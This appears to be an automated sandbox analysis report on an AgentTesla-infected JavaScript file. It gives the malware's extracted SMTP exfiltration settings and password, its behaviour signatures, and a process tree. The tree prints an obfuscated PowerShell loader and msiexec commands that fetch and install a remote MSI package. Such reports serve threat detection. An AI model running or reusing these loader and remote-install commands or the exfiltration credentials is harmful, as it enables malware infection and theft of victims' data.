Analysis
- max time kernel
149s - max time network
148s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
07/05/2026, 12:05
General
- Target BIK1911486_20260507.js
- Size 349KB
- Sample260507-n9dnmsgz3l
- SHA256 55897a63a54fd6421abb0c83c5ef3a839eb5adf1bb60bbb57d5118f52789bdcd
Malware Config
Extracted
-
Protocol
smtp
-
Host
smtp.hostinger.com
-
Port
587
-
Username
-
Password
Pingdata1234@@
Extracted
-
agenttesla
-
Protocol
smtp
-
Host
smtp.hostinger.com
-
Port
587
-
Username
-
Password
Pingdata1234@@
-
Email to
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
- Use of msiexec (install) with remote resource 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 3 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Internet Explorer settings 1 TTPs 4 IoCs
- Modifies registry class 21 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\BIK1911486_20260507.js1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe" Z:\port\can\windows2⤵
- Enumerates connected drives
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Verrucar=($HOME+'/app'+'data/roaming/Tofags');$Sporehuset=gc $Verrucar;$Rugg=$Sporehuset[3276]+$Sporehuset[3277]+$Sporehuset[3278]; .($Rugg) $Sporehuset"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Verrucar=($HOME+'/app'+'data/roaming/Tofags');$Sporehuset=gc $Verrucar;$Rugg=$Sporehuset[3276]+$Sporehuset[3277]+$Sporehuset[3278]; .($Rugg) $Sporehuset"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Rygm/Strigsre.msi2⤵
- Use of msiexec (install) with remote resource
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Rygm/Strigsre.msi2⤵
- Badlisted process makes network request
- Use of msiexec (install) with remote resource
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Event Triggered Execution: Installer Packages
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Rygm/Strigsre.msi3⤵
- Use of msiexec (install) with remote resource
- Event Triggered Execution: Installer Packages
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_c1h31ixl.qtp.ps1
Wallopeds.Tel
Tofags
memory/2416-78-0x0000000001200000-0x0000000002517000-memory.dmp
memory/2416-89-0x0000000020BC0000-0x0000000020BCA000-memory.dmp
memory/2416-76-0x0000000001200000-0x0000000002517000-memory.dmp
memory/2416-79-0x0000000001200000-0x0000000001244000-memory.dmp
memory/2416-81-0x000000001E3C0000-0x000000001E3C6000-memory.dmp
memory/2416-86-0x00000000209F0000-0x0000000020A40000-memory.dmp
memory/2416-87-0x0000000020AE0000-0x0000000020B7C000-memory.dmp
memory/2416-88-0x0000000021320000-0x00000000213B2000-memory.dmp
memory/2460-12-0x0000021D85190000-0x0000021D8519C000-memory.dmp
memory/3544-11-0x000001F09B150000-0x000001F09B172000-memory.dmp
memory/3544-27-0x000001F0B3700000-0x000001F0B3706000-memory.dmp
memory/3544-28-0x000001F0B3710000-0x000001F0B371A000-memory.dmp
memory/3544-34-0x000001F09B100000-0x000001F09B112000-memory.dmp
memory/3544-33-0x000001F0996A0000-0x000001F0996AC000-memory.dmp
memory/3544-26-0x000001F0B36D0000-0x000001F0B36D8000-memory.dmp
memory/3544-25-0x000001F0B3C40000-0x000001F0B3C5A000-memory.dmp
memory/3544-24-0x000001F0B36C0000-0x000001F0B36CA000-memory.dmp
memory/3544-23-0x000001F0B36E0000-0x000001F0B36FC000-memory.dmp
memory/3544-22-0x000001F0B36A0000-0x000001F0B36AA000-memory.dmp
memory/3544-21-0x000001F0B3930000-0x000001F0B39E3000-memory.dmp
memory/3544-20-0x000001F0B3680000-0x000001F0B369C000-memory.dmp
memory/4204-48-0x0000000005CF0000-0x0000000005D0E000-memory.dmp
memory/4204-68-0x00000000074E0000-0x00000000074EE000-memory.dmp
memory/4204-52-0x0000000006270000-0x0000000006292000-memory.dmp
memory/4204-51-0x0000000006220000-0x000000000623A000-memory.dmp
memory/4204-53-0x0000000007560000-0x0000000007B06000-memory.dmp
memory/4204-54-0x0000000008190000-0x000000000880A000-memory.dmp
memory/4204-55-0x0000000007120000-0x0000000007154000-memory.dmp
memory/4204-57-0x00000000707C0000-0x0000000070B17000-memory.dmp
memory/4204-64-0x0000000007180000-0x000000000719E000-memory.dmp
memory/4204-65-0x0000000007230000-0x00000000072D4000-memory.dmp
memory/4204-56-0x00000000705D0000-0x000000007061C000-memory.dmp
memory/4204-66-0x0000000007330000-0x000000000733A000-memory.dmp
memory/4204-67-0x00000000074C0000-0x00000000074D1000-memory.dmp
memory/4204-50-0x0000000006CA0000-0x0000000006D36000-memory.dmp
memory/4204-69-0x00000000074F0000-0x0000000007505000-memory.dmp
memory/4204-70-0x0000000007530000-0x000000000754A000-memory.dmp
memory/4204-71-0x0000000007520000-0x0000000007528000-memory.dmp
memory/4204-73-0x0000000008810000-0x000000000BE61000-memory.dmp
memory/4204-49-0x0000000005DA0000-0x0000000005DEC000-memory.dmp
memory/4204-46-0x0000000005860000-0x0000000005BB7000-memory.dmp
memory/4204-39-0x00000000056F0000-0x0000000005756000-memory.dmp
memory/4204-38-0x0000000005680000-0x00000000056E6000-memory.dmp
memory/4204-37-0x0000000004E50000-0x0000000004E72000-memory.dmp
memory/4204-36-0x0000000005050000-0x000000000567A000-memory.dmp
memory/4204-35-0x00000000024F0000-0x0000000002526000-memory.dmp
memory/4204-74-0x00000000049F0000-0x00000000049F6000-memory.dmp